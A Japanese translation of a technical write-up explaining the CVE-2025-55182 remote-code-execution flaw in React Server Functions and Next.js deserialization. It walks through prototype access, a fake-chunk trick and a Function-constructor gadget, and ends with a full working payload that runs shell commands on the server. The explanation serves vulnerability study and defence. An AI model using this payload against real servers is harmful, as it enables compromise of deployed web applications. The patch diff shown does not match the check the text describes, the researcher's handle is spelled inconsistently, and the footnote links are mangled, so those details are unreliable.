
原著者: https://github.com/msanft/CVE-2025-55182
この脆弱性により、React Server Functions(例: Next.js が提供するもの)において、安全でないプロトタイプ参照を通じて RCE が可能になります。
私は React や Next.js の専門家ではないため、ここにある情報は参考程度に受け取ってください。
React は Server Functions1 を提供しており、これはある種の RPC-over-HTTP と見なせます。これらを使用して、低レイテンシを確保するために隣接ピアからデータを取得したり、クライアントが資格情報を持たない認証リクエストを実行したりできます。
React は Server Functions に渡される値のシリアル化に React Flight Protocol2 と呼ばれるものを使用します。
クライアントは、例えばフォームデータを介して「チャンク」をサーバーに渡します:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
示されているように、これらは相互に参照を持つことができます。上記のペイロードはサーバー上で以下のようにデシリアライズされます:
{ object: 'fruit', name: 'cherry' }
フォーマット自体はもう少し複雑で、より複雑なシリアル化とデシリアライズを可能にしますが、これは実際の脆弱性を理解するための基本的な理解を提供します。
このコミット3までは、参照解決でチャンクを走査する際(例えば、上記の例でチャンク2からfruitNameを取得するなど)、React は要求されたキーが実際にオブジェクトに設定されているかを検証していませんでした。これにより、オブジェクトのプロトタイプ4を取得することが可能でした。
これは次のようなペイロードで実証できます:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
これは関数コンストラクタ5にデシリアライズされます:
[Function: Function]
ID 0 のチャンクが配列ではなくオブジェクトの場合、then キーを関数コンストラクタに設定できます。その後、decodeReplyFromBusboy 関数によってオブジェクトが返され、Next.js によって await されます:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
これが thenable を返すと、呼び出し側の await がそれを呼び出します。これは次のペイロードで発生します:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
以下のエラーが発生します:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
このエラーは、V8 が内部的な resolve 関数と reject 関数を伴って await された関数を呼び出し、それらが toString されたときに次のようにシリアライズされるために発生します:
function () { [native code] }
Function コンストラクタを簡単に取得できるため、直接的な方法は、ユーザー制御の値(すなわち、関数のコードを文字列として)をコンストラクタに渡し、後で返された関数を呼び出す呼び出しガジェットを見つけることです。
関数コンストラクタを呼び出す場所は複数あります。例えば、resolveServerReference では、id が制御可能なオブジェクトであり、lastIndexOf をユーザー制御の文字列を返すように上書きでき(例: Array.prototype.join 経由)、slice を関数コンストラクタに上書きできます。ただし、この場所は機能しません。.slice() の2回目の呼び出しでは最初の引数として数値が渡されるため、関数コンストラクタでは処理できないからです(私の知る限り)。
ここで、maple31426 による素晴らしいアイデアが登場します。getChunk が参照チェーンの解決を開始するために ID 0 のチャンクをルート参照として取得する際、まさにこの同じチャンク が巧妙に作られた「偽のチャンク」に解決される可能性があります。
チャンク1 で、$@ 構文を使用して巧妙に作られたチャンク0 を参照できます。これは「生の」チャンクを返し、その解決された値は返しません:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
これを前述の then 上書きと組み合わせて、次のようなものを工作できます:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
ここで、チャンク0 は自身の .then() を、自身の生のチャンク表現の .then() で上書きします。簡単に言えば、自身の .then() を Chunk.prototype.then で上書きします。これは Chunk が thenable であるため存在します:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
上記のペイロードでは、Chunk.prototype.then が最終的に ID 0 の巧妙に作られたチャンクを伴って呼び出されます。
上記のように、偽のチャンクの .status が resolved_model の場合:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk に入ります。ここで .value は JSON としてパースされ、その後、返されたオブジェクト上の参照が、ID 0 と 1 のチャンクの「外部」コンテキストを使用して解決されます:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
これにより、外部コンテキストがすでに解決されているため、アクセスできる値がいくらか増えた状態で、評価の2回目のパスが行われます。
Flight プロトコルの blob データの処理には、$B プレフィックスを伴う呼び出しガジェットがあります:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
特別な _response フィールドを使用して、工作したチャンクの response プロパティを制御します:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
これにより、偽の ._formData と ._prefix プロパティを持つオブジェクトを工作できます:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason を追加する必要があります。これは initializeModelChunk 内の toString 呼び出しで失敗しないようにするためです:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData を関数コンストラクタに、._prefix をコードにポイントすることで、blob デシリアライズ内で関数コンストラクタの呼び出しガジェットを得られます:
response._formData.get(response._prefix + "0")
// となる
Function("return foo; // 0")
工作した関数は parseModelString によって工作したチャンクの .then() メソッドとして返され、これも await されます。なぜなら、これらすべてが単一の Promise 解決チェーン内で行われるからです。したがって、thenable を返すことにより、工作した関数が呼び出されます。これが上記で参照した必要な呼び出しガジェットを構成します。
これらすべてを実際の RCE ペイロードと組み合わせると、次のようになります:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
さらに悪いことに、これらすべてはデシリアライズ中に発生し、要求されたアクションが getActionModIdOrError で最初に検証される前に行われます。したがって、Next-Action: foo のようなヘッダーを設定するだけで脆弱性を引き起こすのに十分です。
チャンク参照を使用してプロトタイププロパティを取得することは、次のチェックで修正されています:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E